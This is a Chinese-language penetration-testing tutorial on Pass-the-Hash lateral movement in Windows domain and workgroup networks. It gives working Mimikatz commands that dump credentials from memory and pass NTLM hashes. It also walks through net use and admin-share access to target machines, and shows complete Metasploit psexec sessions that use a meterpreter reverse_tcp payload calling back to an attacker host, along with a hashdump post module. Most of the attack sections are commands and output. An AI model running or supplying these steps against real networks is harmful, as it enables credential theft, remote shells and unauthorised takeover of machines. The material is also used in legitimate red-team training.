前言
在内网渗透过程中,当获取到某个管理员用户的密码 hash 值却无法解密时,可以通过哈希传递攻击(Pass The Hash)对内网其他机器进行横向渗透。
0x01 哈希传递攻击
哈希传递攻击(Pass The Hash)是基于 NTLM 认证缺陷的一种攻击方式,攻击者可以利用用户的密码哈希值来进行 NTLM 认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击的手段登录到内网中的其他计算机。
通过哈希传递攻击,攻击者不需要花时间破解密码哈希值来获取明文密码。尤其是在 Windows Server 2012 R2 及之后的版本的操作系统中,默认在内存中不会记录明文密码,因此攻击者往往会使用工具将哈希值传递到其他计算机中进行权限验证,实现对其他远程计算机的控制。
工作组环境:
- Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
- Windows Vista 之后的机器,只能是 Administrator (SID为500)用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非Administrator)也不能使用哈希传递攻击,否则会提示拒绝访问。
域环境:
- 只有域管理员组内用户(可以是域管理员组内非 Administrator 用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域环境内任何一台机器。
- SID 为 500 的账号登录之后以完全管理特权(“完全令牌模式”)运行所有应用程序,管理员组的非 SID 500 账户登录之后是没有过 UAC 的,所有特权都被移除。在一些计算机中,SID为500的账号即使将默认 Administrator 账号改名,也不会影响SID的值。
0x02 Mimikatz
假设你获取到了一台域管理员组内用户登录过的一台机器,并且获取到了这台机器的本地管理员的权限,那么你就可以使用 Mimikatz 工具同时抓取到本地管理员以及域管理员组内用户的密码 NTLM Hash 值。
1 2
| mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit
|
2.1 域环境
首先使用 Mimikatz 工具获取域管理员组内用户及密码 NTLM Hash 如下:
1 2 3
| 域环境:LUCKYSEC.CN 域管理员组内用户:LUCKYSEC\admins 域管理员组内用户NTLM hash值:518b98ad4178a53695dc997aa02d455c
|
由于 Mimikatz 需要管理员权限运行,所以前提需要获取域内任意一台机器的本地管理员权限运行 CMD,然后使用 Mimikatz 对目标机器(10.10.10.10)进行 hash 传递攻击:
1 2 3 4 5 6 7 8 9
| mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:域 /ntlm:xxxxxx"
mimikatz "privilege::debug" "sekurlsa::pth /user:admins /domain:LUCKYSEC.CN /ntlm:518b98ad4178a53695dc997aa02d455c"
net use \\10.10.10.10
dir \\10.10.10.10\c$
|
执行成功后,会弹出一个新的CMD命令行窗口,在此窗口中即可与目标机器建立 IPC$ 连接成功。

有时候 dir 后面跟 IP 地址会提示用户名或密码错误,可以通过输入目标的主机名解决此问题:

2.2 工作组环境
首先使用 Mimikatz 工具获取域管理员组内用户及密码 NTLM Hash 如下:
1 2
| 获取本地工作组管理员:Administrator 获取本地工作组管理员密码 NTLM Hash:518b98ad4178a53695dc997aa02d455c
|
假设目标机器(10.10.10.20)上同样存在 Administrator 密码与攻击者拿下的主机管理员密码相同,那么这两台机器的 NTLM hash 也是相同的,因此可以进行 hash 传递攻击。
1 2 3 4 5 6 7 8 9 10
| mimikatz "privilege::debug" "sekurlsa::pth /user:administrator /domain:目标机器IP /ntlm:xxxxxx"
mimikatz "privilege::debug" "sekurlsa::pth /user:Administrator /domain:10.10.10.20 /ntlm:518b98ad4178a53695dc997aa02d455c"
net use \\10.10.10.20
dir \\10.10.10.20\c$
|

0x03 MSF
首先是通过常规的反弹 shell 操作到msf上,通过 run post/windows/gather/hashdump
获取到 LM:NTLM hash 值

3.1 域环境
攻击前提条件:
1 2 3
| 域环境:LUCKYSEC.CN 域管理员组内用户:admins 域管理员组内用户 LM:NTLM hash 值:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
|
hash传递攻击:
1 2 3 4 5 6 7 8 9 10 11 12 13
| msf6 exploit(windows/smb/psexec) > use exploit/windows/smb/psexec [*] Using configured payload windows/meterpreter/reverse_tcp msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(windows/smb/psexec) > set lhost 10.10.10.2 lhost => 10.10.10.2 msf6 exploit(windows/smb/psexec) > set rhost 10.10.10.10 rhost => 10.10.10.10 msf6 exploit(windows/smb/psexec) > set smbuser admins smbuser => admins msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c smbpass => aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c msf6 exploit(windows/smb/psexec) > exploit
|

3.2 工作组环境
攻击前提条件:
1 2
| 获取本地工作组管理员:Administrator 获取本地工作组管理员密码 LM:NTLM hash 值:aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c
|
hash 传递攻击:
1 2 3 4 5 6 7 8 9 10 11 12 13
| msf6 > use exploit/windows/smb/psexec [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(windows/smb/psexec) > set lhost 10.10.10.2 lhost => 10.10.10.2 msf6 exploit(windows/smb/psexec) > set rhost 10.10.10.20 rhost => 10.10.10.20 msf6 exploit(windows/smb/psexec) > set smbuser Administrator smbuser => Administrator msf6 exploit(windows/smb/psexec) > set smbpass aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c smbpass => aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa02d455c msf6 exploit(windows/smb/psexec) > exploit
|

参考文章